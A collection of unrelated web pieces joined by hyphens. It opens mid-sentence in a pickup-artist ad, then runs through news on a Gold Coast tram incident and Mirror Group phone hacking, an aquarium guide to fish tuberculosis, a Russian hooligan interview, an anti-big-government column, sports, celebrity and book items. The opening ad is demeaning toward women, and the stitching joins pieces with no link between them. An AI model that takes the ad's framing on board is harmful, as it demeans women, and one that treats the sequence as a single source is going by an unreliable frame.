gets pulled over your eyes by a woman. Game is the great equalizer. Sick and tired of getting fucked over with women? Learn my secrets to success with women in my system here. Read More: How To Approach Girls -A second car has become stuck on Gold Coast tram tracks, just hours after an unmarked police car on the way to a pedestrian fatality became wedged when it attempted a shortcut. The driver of a white Toyota Corolla became stuck on the Sundale Bridge in Southport just before 2pm, halting light rail services between the Main Beach and Surfer's Paradise stops in both directions. A second car has become stuck in Gold Coast tram tracks, just two hours after an unmarked police car. Photo: Matthew Howard / Ten Eyewitness News / Twitter Credit:Matthew Howard/Ten Eyewitness News A Translink spokeswoman said buses were replacing trams between the two stops and commuters could expect delays of up to 40 minutes. A Queensland Police spokesperson said the male driver was assisting police with their inquiries. -One journalist hacked phones of 100 celebrities every day for 18 months, says barrister acting for victims including Sadie Frost and Paul Gascoigne The “industrial scale” of phone hacking at the Daily Mirror, Sunday Mirror and the People made the News of the World look like a “small cottage industry” in comparison, the high court in London has heard. Scores of celebrities, including the actor Sadie Frost and ex-footballer Paul Gascoigne, were targeted thousands of times by journalists using the illegal practice from mid-1999 until 2009, it was claimed. In the first hint of the true extent of phone hacking at the three titles, the court heard that the former Sunday Mirror journalist Dan Evans hacked about 100 celebrities every day from 2003 to mid-2004. Such was the reliance on phone hacking for stories that one senior journalist was desperate for Evans to create “an enigma-type machine that would automatically crack pin codes”, the court was told. David Sherborne, the barrister for eight victims, said hacking at the titles was “utterly unprecedented” and that knowledge of the activity went to the highest levels of the newspaper group. “This was not just the work of junior reporters … quite the opposite,” he said. “The evidence demonstrates that voicemail interception, as well as the unlawful obtaining of personal information by blagging or use of private investigators, was in widespread and habitual use by a large number of journalists across all three MGN titles.” Between June 2002 and mid-2006, Sherborne said MGN journalists made nearly 10,000 calls to Orange’s voicemail platform, which allows people to access their messages by calling a general number and entering their personal details. He said senior MGN journalists gave “deliberately crafted and disingenuous statements” to the Leveson inquiry into press ethics, and accused MGN of withholding key evidence that meant that only the “very tip of the proverbial iceberg” could be revealed. Two senior journalists, who cannot be named for legal reasons, allegedly introduced Evans to phone hacking in April 2003 and ordered him to build a “phone-hacking database” using pay-as-you-go phones and a list of celebrity mobile numbers. Evans, who later pleaded guilty to phone hacking, covered up his illegal activities by throwing his mobile phones – dubbed “burners” – into the river Thames every two months, the court heard. The evidence came on the opening day of a civil trial brought by eight claimants – including Frost, Gascoigne and BBC creative director Alan Yentob – against MGN for invasion of privacy. The judge, Mr Justice Mann, is being asked to assess the extent of phone hacking across the three titles and rule on the level of damages for each of the claimants. The other claimants involved in the case are TV soap stars Lucy Taggart, Shane Richie and Shobna Gulati, flight attendant Lauren Alcorn and TV producer Robert Ashworth. Frost is alleged to have been hacked on a daily basis, morning and evening, in part because she was married to fellow actor Jude Law and was good friends with the model Kate Moss. She described having her voicemails intercepted as like being “monitored and hunted down by a sort of secret police, who were digging into our lives as much as they could in order to discover every possible detail about our private lives, as well as our professional ones, to use against us”. Sherborne said the “most deeply private” information was intercepted and published by journalists, including Frost’s attendance at AA meetings, Richie’s financial problems, Ashworth’s divorce, and Taggart’s relationship with actor Steve McFadden. Of the stories that Mirror Group has admitted were the result of phone hacking, 49 were printed in the Sunday Mirror, 40 in the Daily Mirror and 23 in the People between June 2000 and October 2006. “Strangers were deliberately picking through this, sifting for things they could get away with publishing,” Sherborne said. “No one imagined that all this private information, this treasure trove about just the sort of people who filled these newspapers in their millions, could be accessed and listened to in this way, let alone plundered as a source for stories.” Frost, for example, was hacked at least twice daily by Evans because, like Yentob, she was deemed a particularly fruitful source of stories and was on his so-called “back pocket list” of targets. In Frost’s case, this hacking resulted in 27 articles that Mirror Group has admitted were gleaned unlawfully from her private messages. By comparison, Sienna Miller received £100,000 in damages from the News of the World publisher in 2011 over 11 articles based on hacking by that newspaper. MGN has admitted that 99 articles relating to the eight celebrities would not have been published without phones being hacked, the court heard. Landline call records show that Yentob had his voicemails intercepted 330 times from July 2002 to March 2005, although the court heard that the true extent was likely to be much greater when hacking from pay-as-you-go phones was included. James Hipwell, a former Daily Mirror journalist, said Yentob was a principal target of showbusiness journalists and that his voicemails would be used in hacking tutorials. Journalists would sing an amended version of a Spike Milligan song while eavesdropping on his messages, Hipwell claimed. In a witness statement, the BBC executive said he felt “violated on a truly massive scale” by the hacking. Sherborne said: “It is abundantly clear that the documentary evidence before the court is only likely to reveal a tiny proportion of the total wrongdoing committed by MGN as against each of the claimants – merely the very tip of the proverbial iceberg.” Lawyers for the victims pieced together a picture of hacking at Mirror Group using evidence including landline call data, expenses receipts for pay-as-you-go telephones, internal emails from the Sunday Mirror and the People and witness statements from former exployees including Evans and ex-reporters James Hipwell and David Brown. Evans, who will give evidence as a witness in the trial, was allegedly instructed not to refer to telephones or voicemails explicitly in emails. Instead, he used the euphemism “getting the muppets” to stand up a story. In one email read to court, a Sunday Mirror journalist told his bosses that an unnamed celebrity “sounds so cute on the voicemail”. In another email, a senior editorial staff member warned colleagues not to telephone a TV producer because “he’s answering” – meaning the journalists would not be able to access his voicemails and may be rumbled. The court also heard that senior journalists made in-jokes about a hacked voicemail alleged to have been the source of a scoop revealing Sven-Göran Eriksson’s affair with Ulrika Jonsson. In Mirror Group’s written defence statement, Matthew Nicklin QC said the group had published a public apology and had written privately to the eight victims before the start of this trial. However, he said the discovery of hacking could not be said to have caused the victims serious long-term, life-changing suffering like that in personal injury cases. Nor could their hurt be equated with the kind of traumatic lengthy bullying suffered in harassment or discrimination cases. The publicly listed publisher had strenuously denied any wrongdoing until September last year, when it made limited admissions in court. The newspaper group has since set up a £12m compensation fund for hacking victims and last month printed an apology in its three papers for “an unwarranted and unacceptable intrusion into people’s private lives”. -Causes and symptoms of fish TB. Mycobacterium marinum. Possible treatment. There is some danger to humans when servicing Tuberculosis was once a dreaded disease in Europe as well as North America and virtually everyone knew someone who had succumbed to ‘consumption’, the commonly used name for the disease caused by Mycobacterium tuberculosis. Tuberculosis is still widespread in most third world countries and after the fall of the Soviet Union, the numbers of tuberculosis patients have sky rocketed in Russia as well as in many other post-soviet states. What few of us know, however, is that a bacterium closely related to Mycobacterium tuberculosis called Mycobacterium marinum can be present in wild caught as well as captive bred fish and stay lurking in our aquariums without us ever realizing it. After all, when one of our fishes goes belly up, few of us drag out the Petri dish and starts growing bacterial cultures to find out exactly what caused its demise. Since Mycobacterium marinum is so closely related to Mycobacterium tuberculosis, the disease it causes is commonly referred to as fish tuberculosis of fish TB. Learning more about fish tuberculosis is recommended for all aquarists since it can be lethal to our beloved fish. What’s even worse, Mycobacterium marinum can spread to the aquarist and cause serious health problems. It can also spread to other animals and is capable of surviving in both soil and water without any host for prolonged periods of time. Don’t be fooled by the word “marinum” – this nasty little organism will survive just as well in freshwater conditions. Susceptibility Certain types of fish seem to be more at risk of carrying, or at least succumbing to, fish tuberculosis. This group includes the labyrinth fishes, among which you will find many popular aquarium fishes such as Bettas and Gouramis. Symptoms in fish The main symptoms of fish tuberculosis are loss of scales, loss of color, lesions on the body, wasting, and skeletal deformities such as curved spines. Diagnosing Looking a slides of infected tissue under a microscope is sometimes enough to recognize Mycobacterium marinum, but in most cases a bacterial culture will be necessary. Both Mycobacterium tuberculosis and Mycobacterium marinum are acid fast, which means that they stain bright pink against a blue background. Treatment Treating fish tuberculosis is really difficult and euthanizing the fish a probably less painful for the fish than forcing it to go through endless treatments that may not have any effect on the disease. Euthanizing all the fish in the infected aquarium is also the best way of preventing the disease from spreading. If you decide to try and treat your fish, keep in mind that Mycobacterium marinum can infect you as well. The risk of being infected can however be decreased dramatically by following a few simple safety guidelines. You can read more about this further down in this article. Fish can be treated with the same drugs as humans get when they become infected by Mycobacterium marinum, e.g. Kanamycin. Since this is a very resilient microbe, normal treatment involves administering at least two different medications over the course of at least three months. A lot of aquarium problems can be fixed by performing frequent water changes, increasing the water temperature and adding some salt to the water, but fish tuberculosis is not one of them. Raising the water temperature may even worsen the problem since Mycobacterium marinum prefers warm water (their ideal temperature is 30°C). Prevention Since curing fish is virtually impossible once the disease begins to manifest, preventative measures are highly important. Keeping your fish healthy, happy and well-fed will boost their immune system and make it possible for them to handle limited exposure to Mycobacterium marinum. Wounded or otherwise weakened fish should be moved to quarantine tanks where they can be treated and given time to recuperate, since weak fish that is left in the main aquarium can serve as a breeding ground for all sorts of malicious microorganisms that may eventually grow numerous enough to attack even the healthy fishes. New fish should ideally be quarantined before you allow it into you main aquarium. Plants, substrate, equipment etcetera should be sterilized to kill of potentially harmful bacteria before being introduced to the aquarium. See the plant section for more info about how to sterilize plants without causing injury to them. An aquarium that has had an outbreak of fish tuberculosis should be meticulously cleaned out with bleach and left to dry before you restock it. Fish tuberculosis and the aquarist Prevention When aquarists become infected by Mycobacterium marinum, it is usually because the carry out maintenance work when they have cuts or other skin problems on their hands or arms. Our skin is remarkably good at keeping malevolent microorganisms out, but as soon as the skin gets injured, an important part of the body’s defense system has been breached. It doesn’t have to bee a large wound; a simple paper cut or eczema can be enough for Mycobacterium marinum to slip through. When handling an aquarium where you suspect that Mycobacterium marinum may be present, it is consequently important to use protective gloves. You may have a tiny sore that you haven’t even noticed, such as a torn cuticle. Some aquarists prefer to use gloves all the time, or at least when they have damaged skin, since it is impossible to know if Mycobacterium marinum exists in an aquarium before the fish start to show symptoms of fish tuberculosis. You can also catch fish tuberculosis by using your mouth to start a siphon. Washing your hands and lower arms with soap after handling fish and aquariums is naturally always recommended. Symptoms and treatment When aquarists become infected with fish tuberculosis, it normally starts as a skin problem. Mycobacterium marinum is a slow growing mycobacterium and it can therefore take several weeks before you notice any symptoms. The first sign is normally small purple lesions or “bumps”. The lesions will grow and spread and Mycobacterium marinum can proceed to destroy the soft tissue under the skin, including tendons and joints. In severe cases, fish tuberculosis can spread to the bones and cause symptoms similar to arthritis. Most doctors never come in contact with fish tuberculosis and if you show up with some strange lesions on your hands, they might not realize what is causing it and put you on a general oral antibiotic that will not kill Mycobacterium marinum. It is therefore very important to inform your doctor that you are an aquarist and that you may have caught fish tuberculosis or some other disease from your aquarium. Mycobacterium marinum can be successfully treated but only if the right combination of drugs are used. Just as with Mycobacterium tuberculosis, the treatment will normally need to be carried out over the course of several months. In serious cases, intravenous administration of antibiotics may be required. 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He supports the separatist movement in east Ukraine, but repeats the Kremlin’s (long debunked) line that there is “no proof” of Russian involvement in the war there. And he harbours a near-religious veneration for the Second World War as the foundation of a sense of Russian exceptionalism – the nearest thing contemporary Russia has to an official state ideology. A sign of just how far the convergence of hawkish public ideology with football terrace nationalism came after the now infamous assault on England fans in Marseille Old Port and Velodrome stadium in June. The discipline, brutality, and obvious preparation of those attacks provoked outrage in Britain, but barely disguised glee amongst some Russian officials in Moscow. Mr Khuslyutdinov says this was pure political opportunism, rather than evidence of collusion between hooligans and the state. “They were just saying what the broad electorate wanted to hear. With the exception of Vladimir Putin’s personal rating, these officials have basically no popularity. So allegedly supporting us is a way of showing they are in tune with the public mood,” he said. “Besides, the day before that Russian and English fans were on the same side fighting some of the French, and no one mentions that.” And he vigorously rejects the suggestion that the Marseilles hooligans included soldiers sent by the Kremlin in an act of "hybrid warfare." In fact, he claims, they were not even Russia's best hooligans. “You have to make a distinction. There’s the kids and there’s real fighters, the osnova,” he says, using a word that roughly translates as “the base” or “foundation.” This praetorian guard of Russian hooliganism is made up of older, more experienced men who train hard, seldom drink, and follow health and fitness regimes that make them the diametric opposite of “getting drunk and having a go.” “These are the best fighters, the first line. They’re people who never run from a fight. But they stayed away because we expected a much more serious policing operation from the French, especially given the recent terror attacks there.” To prove the point, he sketched a map of Marseilles' Old Port and described in detail how the Russian attackers missed an opportunity to outflank French riot police and failed to set a second ambush. “I could see those mistakes immediately just by watching on TV, and no experienced fighters would have made them,” he said. “In Marseilles it was kids, youngsters.” “If we’d known the policing would be so limp-wristed a lot of other guys would have gone, and it would have been a very different story.” To illustrate the point, he pointed out a well-built but far from muscle-bound man strolling past the training ground. “He’s in the osnova. He once killed a man with one punch and did five years inside for it. Now, you can imagine what it would have been like if they were there.” “The authorities don’t really know what attitude to have to us. We have a lot of people who just don’t like the system, they don’t recognise the state, its authority, or anything like that. And people like that cannot be ruled,” he said. “On the one hand we’re useful to the government, because they can point at us and say ‘you see how terrible and violent and scary these people are? that’s why we need so many police!’” “But at the same time, some people in power are very fearful that this ‘army’ could be turned against them.” As a result, Russian police have pursued a no-nonsense crackdown on domestic hooliganism in recent years that has seen mass brawls mostly banished from stadiums and many hooligans jailed. “That’s why there will be no trouble at the 2018 World Cup. We will be strongly repressed in advance,” said Mr Khuslyutdinov. “There will be no repeat of what we’ve seen in France. It’s impossible.” -Obamacare! The War on Drugs! A War on Poverty! Prohibition! The idea that government will bring social progress isn't new. Europe's monarchs believed in big government long before there was a Soviet Union or a welfare state. Eighteenth-century philosopher Voltaire praised "enlightened" monarchs like Prussia's Frederick the Great. Since the nineteenth century, so-called "progressives" have wanted government to get ever larger. They got their wish. The results were not so good for people. Today pundits and protesters moan about fiscal "austerity" in nations like Greece. But if austerity means cuts in government, there hasn't been much of it. Sure, Greece cut spending, but only by 3 percent. One in four Greek workers still works for government (vs. one in seven in the U.S.). Greek politicians run government "businesses" that employ politicians' cronies. In other words, Greece has barely begun what I would call austerity. Paul Krugman deceitfully trashes real cuts and writes that he wants to see "some example, somewhere, of austerity policies that succeeded." But there are plenty. The Cato Institute's Chris Edwards and Dan Mitchell discussed some at FreedomFest, a giant gathering of people who care about free markets held last week in Las Vegas. Mitchell points out that Ireland, New Zealand, Sweden, Canada and the Netherlands cut government spending and were quicker to recover from economic problems. In the mid-90s, Canada was going broke, so the government cut its budget by about 10 percent. The growth that followed allowed Canada to cut its debt dramatically -- from about 68 percent of GDP to 28 percent. During that same decade, unemployment shrank. Canada's economy grew faster than that of every other G7 nation. Good things happened not because government spent more, but because it spent less. The U.S. contains its own version of the Greek debt crisis in the form of Puerto Rico. A recent island governor tried to cut Puerto Rico's bloated government. Luiz Fortuno fired thousands of workers and made it easier to open a business. The economy improved. But firing workers isn't popular. Fortuno lost the next election and his successor increased spending and raised taxes. Of course that didn't work. Now Puerto Rico can't pay its $70 billion debt. "Are there any success stories based on tax hikes or bigger government? The answer is no," warns Mitchell. Progressives pretend they have a technical fix for problems. On a national level, their fixes always involve giving more power to Washington, D.C. That soothes the left, since they love the idea of centralizing decision-making. For a while, around the start of the twentieth century, technology advanced while government grew. Intellectuals thought the two things must go hand in hand. Government electrified rural areas! It can do anything! Well, government can do some things, mostly expensive, obvious things, like building interstate highways, guarding borders and going to war -- though government doesn't do those things efficiently. Almost all its projects end up way over budget and behind schedule. "Centralization of government spending in Washington over the past century has severely undermined good governance," argues Edwards on the site he edits, DownsizingGovernment.org. "Citizens get worse outcomes when funding and decision-making for education, infrastructure and other things are made by the central government rather than state and local governments and the private sector." Politicians rarely notice the millions of tiny opportunities for people to make progress via new inventions and smarter ways of doing things -- the new app, the robotics start-up, the do-it-yourself metalworking printer. Instead, politicians' limited imaginations lean toward big government-run projects like building bigger airports (needed or not), more welfare and micromanaging every private workplace. "Politicians and lobby groups constantly complain that America does not spend enough," writes Edwards. "But they rarely discuss how to ensure efficiency in (government) spending, or cite any advantages of federal spending over state, local and private spending." Government shovels more money into its big, dumb projects and pretends to build the future. But our future is more likely to be built by thousands of entrepreneurs who make the countless contributions that quietly improve our lives. -Having met the author on his battlefield tours - Gary Weight has an encyclopaedic knowledge of the Normandy campaign and the units involved - I eagerly awaited this book and it did not disappoint from the view of a wargamer and modeller with an interest in the NW European campaign. The number of photos of personnel and the detail on personnel, training, locations in the UK and overseas, and movements will appeal in particular to relatives of veterans wishing to follow the paths of their families. It is long (498 pages), well indexed, and concentrates absolutely on the 2nd Battalion the Lincolnshire Regiment, including only where necessary the minimum of background on the wider operations the unit took part in. Given the very large number of more or less general books, especially on the Normandy Campaign, this focus is welcome, as is the use only of photographs that are specific to the unit. There are two 'prelude' sections on the history of the Lincolnshire Regiment (1685-1857 and 1857-1939), then 14 chapters on the 2nd Lincs part in: Entering France with the BEF; the Blitzkrieg in Flanders; the Dunkirk evacuation; Two on rebuilding, training and preparation in the UK; Normandy 1 June-6 July (covering the landings and operations inland from Sword beach); Normandy 6 July- 11 July (covering Operation Charnwood)s Normandy 12 July - 31 July (Covering operation Goodwood); the battle of Pont-de-Vaudrey; crossing the Escaut Canal; The Battle of Overloon and Venray; fighting in the Maas Salient; Into Germany and Operation Heather; and Crossing he Rhine until the German surrender. An Epilogue contains a selection of photos of personnel taken immediately after the war, the Roll of Honour, and seven appendices cover Awards and Citations, a note on assault river crossings, background on two particular individuals, the War Establishment (organisation) of a British Infantry Battalion at various stages throughout the War, and the order of Battle (names where known of key personnel and their roles in the battalion command structure). Overall the book strikes the right balance between business-like but sympathetic coverage of the Battalion and their actions, and helps redress the balance of the majority of books on the big operations and armoured warfare. It really brings home the unrelenting grind of day-to-day infantry work, punctuated by short but bloody battalion level attacks. Appropriate weight is given to the various sections, with the emphasis on the key battalion level engagements. It is not padded out with an overview of the campaigns and is mercifully free of generalisations about the strategic arguments around the Normandy fighting and the capabilities of various German weapons. The (30!) maps deserve special mention and are an object lesson in how to present maps in books of this genre. There are wide overviews of movements, the theatre and annotated contemporary maps but the jewels are, firstly, the annotated and faintly colourised contemporary air recon photos of the areas of detailed actions and, secondly, and presumably where suitable photos were not available, original maps by the author that bring out every detail referred to in the text. -It’s no trick: Anoka’s famed Halloween parades will be free of Tootsie Rolls, Starburst and other sugary treats this year, with event organizers citing safety concerns as the reason behind a new candy ban. Stormy debate and criticism have swirled on social media over the recently announced rule change. The new ban means no more candy handouts at the Grand Day Parade. It’s a marquee event in a city that Congress has proclaimed the “Halloween Capital of the World,” with Anoka’s spooky celebrations tracing back nearly a century. Event organizers say worries over children mobbing parade vehicles for sweets, as well as a dip in volunteers able to patrol for this behavior, resulted in the decision to forgo candy giveaways. The annual festival — which includes two other parades where handouts were already prohibited — is put on by Anoka Halloween Inc., a nonprofit made up of volunteers. “I don’t know what else to do,” said Liz McFarland, the festival’s parade chair. “Something is going to happen with a child because people aren’t watching their children.” While there have been no injuries reported, previous parades have resulted in “close calls,” McFarland said. The Halloween hullabaloo over the ban has prompted calls to City Hall and some barbed posts on social media, which range from “Candy IS Halloween!” to “How about parents actually parent their children?” Costumed children walked down Main Street during Anoka’s Halloween festivities in 2015. “It was a very swift uprising of people in response to that announcement,” said Colleen Halligan, secretary of this year’s Anoka Halloween board of directors. A Facebook post made Friday about the rule change on the Anoka Halloween page had attracted about 250 comments as of Tuesday. “We had hoped that the floats and bands were why people were coming to our parade,” the post read, “but we are learning that candy is very important.” Before this latest rule change, parade organizers say they had already barred tossing treats from floats, limiting candy to handouts by groups walking along the route. They had also tried restricting candy to certain sections of the parade and imposing minimum age requirements for those handing it out. “I’m out of ideas,” McFarland said. “We had to regroup this year.” Some found out about the new ban after parade applications became available online earlier this month. Jeremy Anderson, who owns a local construction and retail business, said he has decided not to participate in this year’s parade, despite it being a favorite tradition among his employees’ families. He said his business, Countryside Services of MN, typically buys a pallet of candy from Costco and spends thousands of dollars on goodies for parade revelers. “It’s just a bummer,” Anderson said. “It’s like every year they keep taking the fun out of it.” The outcry has festival organizers pondering ways to safely bring back the treats. They say they’re now working to recruit more volunteers and fielding ideas. “I hope to bring candy back,” McFarland said. “It’s Halloween. But safety is our No. 1 concern, and I don’t want to be part of an accident.” -By Tom Bell Arya Esfandmaz has declared he intends on showing the world what both he and the UK is capable of on the competition mats when he flies out to Abu Dhabi next month to compete in the World Pro Jiu Jitsu Championship. Esfandmaz won an all expenses paid trip to compete in the prestigious event after taking gold at the British National Pro Jiu Jitsu Championships in Birmingham, securing the $8000 package in the male +95kg division, which was a mix of black and brown belts. Arya also took bronze in the brown/black absolute. The Lucio ‘Lagarto’ Rodrigues brown belt coaches and trains out of Gracie Barra Knightsbridge and is known for his acrobatic, entertaining style, with many trademark flying submissions on his competitive resume. With a background in Judo, training at the famed Budokwai from a young age, Esfandmaz has declared he wants to fly the British flag and show what the UK has to offer on a world stage. Speaking to Jiu Jitsu Style, he said: “The tournament was really nice for me, I got to achieve one of my dreams in fighting black belts, as I always wanted to test myself at that level. I did well, I got lucky, and I ended up taking gold so it shows great improvement in myself. “I also want to give a shout out to British BJJ because man, we had some good guys there like Bradley Hill and Viking Wong – they were very unlucky. They both drew Alan ‘Finfou’ Nascimento, so yeah, the UK smashed pretty much the whole thing and it showed that BJJ is improving a lot in the UK and it’s really nice to see. I couldn’t be more happy man. I just want to fly out there, do my best and bring home some medals.” Speaking passionately after training, the brown belt nostalgically spoke of early Jiu Jitsu in the UK and believes the country has an immense talent pool that we should be proud of compared to larger nations. He intends to show what the UK is capable of. “I want to fly the flag, of course I do,” says Arya. “I want to show that we aren’t some random small island that only likes to drink tea, we’re quite handy on the mats too. “It’s funny, I remember back in my Judo days, I walked past Roger Gracie’s first gym and it was like a garage man, it was really run down and that was only like ten, fifteen years ago and you look at his academy now. “It shows how much we’ve improved and it shows how respected we are and I think we’re top in Europe man, yeah, you have some Scandinavian countries coming through but I think we can smash it and to help fly that flag is something I want.” Those familiar with the competitive circuit will know of the influx of Scandinavian talent Esfandmaz talks of, with the likes of Sebastian Brosche, winner of the Toukon Challenge Brown Belt Grand Prix and Eiren Cathrine Nygren who took double gold at brown belt at this year’s Europeans. “California alone is bigger than the UK,” explains Arya. “If you look at some Californian academies, they have nice facilities, loads of training space and lots of training partners.” The entire UK holds a population of around 64 million people over a total area of 243, 610km2, however the Jiu Jitsu hotbed of California alone is home to 38 million over an area of 423, 970km2. You can fit the UK into the US around 38 times and there are just short of five Americans to every Brit. “Man, in London, if you try and find some space to open an academy it’s like, super hard,” says Arya. “People want space, people want apartments, they don’t want to sell you space to put some mats down. It’s hard to find the perfect training space here, so we need to appreciate our talent, look at the things that are actually against us and see how we’ve done – it’s really cool.” Esfandmaz now looks forward to hard training with his master, Lagarto, and his partners at Gracie Barra Knightsbridge ahead of making his trip to the United Arab Emirates and is excited about the opportunity ahead of him. “I always watched Abu Dhabi’s championships, like, it is super professional,” states Arya. “The fighters get a proper walkout, you even get a body guard to escort you. It’s televised too, so that’s an opportunity that’s awesome to have, you know. “It’s a really big opportunity and I’m lucky enough to go into it training under Lagarto and Paul Hartley, as well as everyone else at Gracie Barra Knightsbridge. Man, I’ve been waiting and I’ve been training my ass off and now I’m getting that confidence to go out there and be the best I can. Although Lagarto has called me out about doing cool moves, he wants me to win above everything else. “I’m like ‘Lagarto! I’m gonna do this, I’m gonna flying armbar this guy’, but he’s like ‘Arya! Go for the win first!’ so I’m going to do everything I can to take this opportunity for myself and for the UK.” Check out our latest issue HERE with cover star, Garry Tonon! -10 years ago Limbaugh took aim at Powell's comments about the GOP. WASHINGTON (CNN) – Rush Limbaugh fired back at Colin Powell for his critical comments earlier this week, saying Wednesday that the former secretary of state should join the Democratic Party. "What Colin Powell needs to do is close the loop and become a Democrat instead of claiming to be a Republican interested in reforming the Republican Party," Limbaugh said on his radio show Wednesday. Limbaugh also took aim at Powell's decision to endorse President Obama over John McCain during the presidential election, repeating his earlier sentiment that Powell's move was "solely based on race." "He's just mad at me because I'm the one person in the country who had the guts to explain his endorsement of Obama," Limbaugh said. "It was purely and solely based on race." During a speech on Monday, Powell said the "the Republican Party is in deep trouble" and said the GOP would be better off without Limbaugh, according to a report by the National Journal. "I think what Rush does as an entertainer diminishes the party and intrudes or inserts into our public life a kind of nastiness that we would be better to do without," Powell said. Earlier: Powell: GOP 'polarization' backfired in election -Kim Richards is staying out of jail ... for now. The ex-Real Housewives of Beverly Hills star, 51, was on the hot seat Wednesday linked to a probation violation after she was convicted of shoplifting more than $600 worth of merchandise at a Van Nuys Target store in August of 2015. While officials said she had not made good on the 30 days of community service and 52 Alcoholics Anonymous meetings the court ordered her to fulfill, on deadline, as part of her sentence, TMZ reported that her legal team was able to prove that she had completed both tasks late. Back on the red carpet: Kim Richards, 51, was allowed to remain a free woman Wednesday amid accusations the ex-RHOBH star had violated her probation in her 2015 shoplifting conviction The presiding judge continued the matter until November, at which time the Southern California socialite - who remains on probation for the humiliating incident - must prove she's up-to-date on all of her court-ordered responsibilities. The mother-of-four's shoplifting arrest came nearly a year ago, on August 2, 2015, when the former child actress was busted outside the retailer by a security guard with a swiped haul that consisted of children's-related items such as stickers, crayons and coloring books. Kim, whose sister Kyle Richards remains a key cast member on Bravo's hit show set in the 90210, kept a low profile on Twitter Wednesday, with her last post having come Tuesday, in which she wished her youngest daughter, Kimberly Jackson, a happy 21st birthday. Rock bottom: Kim's humiliating arrest came in August of 2015, when she was nabbed outside of a Van Nuys Target store with more than $600 in stolen merchandise Reality bites: Kim's substance abuse issues were often the focal point of her storylines on RHOBH Hard times: It's been a rough two years for the Los Angeles socialite, who was arrested twice in embarrassing circumstances, then lost her ex-husband and confidante Monty Brinson this past January to cancer As reality TV viewers might remember, Jackson has been one of Kim's biggest supporters, as the dynamics of their nurturing - and sometimes-tragic - parent-child relationship were laid bare on Lifetime's The Mother/Daughter Experiment: Celebrity Edition. Viewers of the program saw Jackson admit that she's often forced into a 'caretaker' role over her mother, who was also arrested in April of 2015 in connection with public intoxication and more after a drunken, belligerent run-in with a police officer after she was kicked out of the Polo Lounge at the Beverly Hills Hotel. Sisterhood: Kim posed in 2014 with sister Kyle, 47, who remains one of the key players on RHOBH On the Lifetime program, Jackson said she was overwhelmed at times dealing with her mother, who she called 'fragile, physically and emotionally.' A teary-eyed Richards, after seeing her daughter's frustration, admitted, 'I need to remember how my decisions do affect Kimberly.' On the show, Kim, who's also related to Kathy and Paris Hilton, seemed to believe that her time on Bravo's RHOBH 'really hurt me because I was struggling with certain things.' -Julia Flynn Siler | The House of Mondavi | 2007 | 14 minutes (3,328 words) For our latest Longreads Member Pick, we’re excited to feature an excerpt from The House of Mondavi, Julia Flynn Siler’s book about a family that turned a Napa Valley winery into a billion-dollar fortune. Thanks to Siler and Gotham Books for sharing it with the Longreads community. Download .mobi (Kindle) Download .epub (iBooks) * * * Crush: 1966–1972 The first few months at the Robert Mondavi Winery were chaotic. Carpenters, masons, plumbers, electricians, and the winemaker, Warren Winiarski, were all working on top of one another. By late summer, there were walls, but still no roof, catwalks, or ladders to reach the tops of the new stainless steel fermenters. Parts were missing and there was no place to do any lab work—let alone a lab technician to do it. Since there were no desks or offices or tables, Winiarski worked from a clipboard. Robert, who had a small office in a trailer, was seldom in one place for long. Winiarski would see him early in the morning and late in the day; the rest of the time, he was a whirlwind of energy, conferring with the builders, making deals for grapes, consulting, and purchasing equipment. Robert’s energy was infectious and his aspirations heady. But he was strongly motivated to start making wine. Fired from Krug without any significant severance pay, Robert was under severe financial pressure. With construction costs mounting, he sought to produce cash flow as quickly as possible. So he set an ambitious timeline. He was determined to bring in the harvest that first year and crush grapes to make the Robert Mondavi Winery’s first vintage. From groundbreaking to crush, he had two, or perhaps three, months at most. Although Robert had probably not fully formed his intentions for the new winery in 1966, even by then the people who were helping him to make it happen recognized that his dreams were lofty. “It was not meant to be a small winery and it was not meant to be a family winery.” “From the beginning, the Robert Mondavi Winery was meant to reach out,” says Winiarski. Once again, the friendships that Robert had built after twenty years in the valley came to his rescue. William Bonetti, by then the production chief at Charles Krug, helped Winiarski with some lab work, allowing him to come over and use the Krug lab to run simple analytical tests of the fermenting juice, as well as to borrow equipment and chemicals. Winiarski had assumed that Bonetti had gotten Peter’s implicit, if not explicit, permission to help out his brother, but it wasn’t exactly clear, since neither brother had spoken openly to Winiarski of the simmering feud. Krug also crushed grapes for the Robert Mondavi winery’s first year, sold it yeast, bottles, and a labeling machine, and loaned the new winery a bottling machine free of charge. As a safety net, Peter and Rosa agreed to pay Robert a $9,000-a-year consulting fee after he was fired, although he never performed any consulting services for Krug. While they didn’t welcome Robert as a competitor, they also didn’t want him to fail. As Peter later explained, “We felt that he needed some support from the family inasmuch as he ventured, and we wanted to see him make a success of what he was doing.” Louis Martini and the winemakers at Beaulieu also pitched in to help out their old friend. And when the time came to design the winery’s first label, Robert again turned to people he had worked with at Krug: a well-known local printer named James E. Beard and a graphic designer named Mallette Dean. Dean had done beautiful work over the years for Krug, including a delicate woodcut of a farmer tending grapevines that had graced the masthead of the Krug newsletter “Bottles & Bins.” The label the pair created for the new Robert Mondavi Winery captured its spirit centered around Dean’s wood engraving of the Cliff May building, with its elegant arch and wings. But Dean struggled with a lack of vertical balance in the frame, which he eventually corrected by adding a flank of poplar trees to the scene. In the real setting, a series of trees planted on the walkway had failed to flourish in the 1970s, so eventually, to match the reality to the image on the label, the winery ended up planting poplar trees where Dean had imagined them. Dean’s label for the Robert Mondavi Winery quickly became one of the iconic images of Napa Valley. Photo: aphasiafilms, flickr The cool weather that year also came to Robert’s aid, pushing harvest back by several weeks. Fieldworkers picked the last Cabernet grapes on Veterans Day, November 11, in a season marked by tule fog and cool evenings that often cloaked the valley until ten or eleven in the morning. To the astonishment of some of the friends and rivals who’d called him crazy, Robert managed to make wine that first year. In 1966, the new Robert Mondavi Winery crushed about 490 tons of grapes—even though there was nothing even close to resembling a building on the site yet. By the time the crush rolled around, there were only concrete slabs on the ground, foundations for the fermenting tanks. In the open air, Robert pumped the juice from the fermenting tanks into other tanks. As summer became autumn, workers were plastering the walls of the newly erected building, even as Warren Winiarski made the wine. Returning to the rituals and ceremonies of the Roman Catholic Church, Robert marked his winery’s first crush of the grapes surrounded by his immediate family and his most supportive friends on a sunny morning in mid-September. Robert halted the whirl of painting, plastering, and sanding for a few hours. On a concrete platform surrounded by dirt, a group of a few dozen people gathered on the north side of what would become the winery. Father Levinus of the nearby Carmelite monastery, wearing a long black robe that fell to his ankles and a white cassock over that, faced the gondola that held the grapes. Marcia Mondavi, with her short-cropped dark hair and a ladylike knee-length skirt and sleeveless blouse, bowed her head and clasped her hands together. The priest began his benediction in English sprinkled with Latin words. Photo courtesy of Robert Mondavi 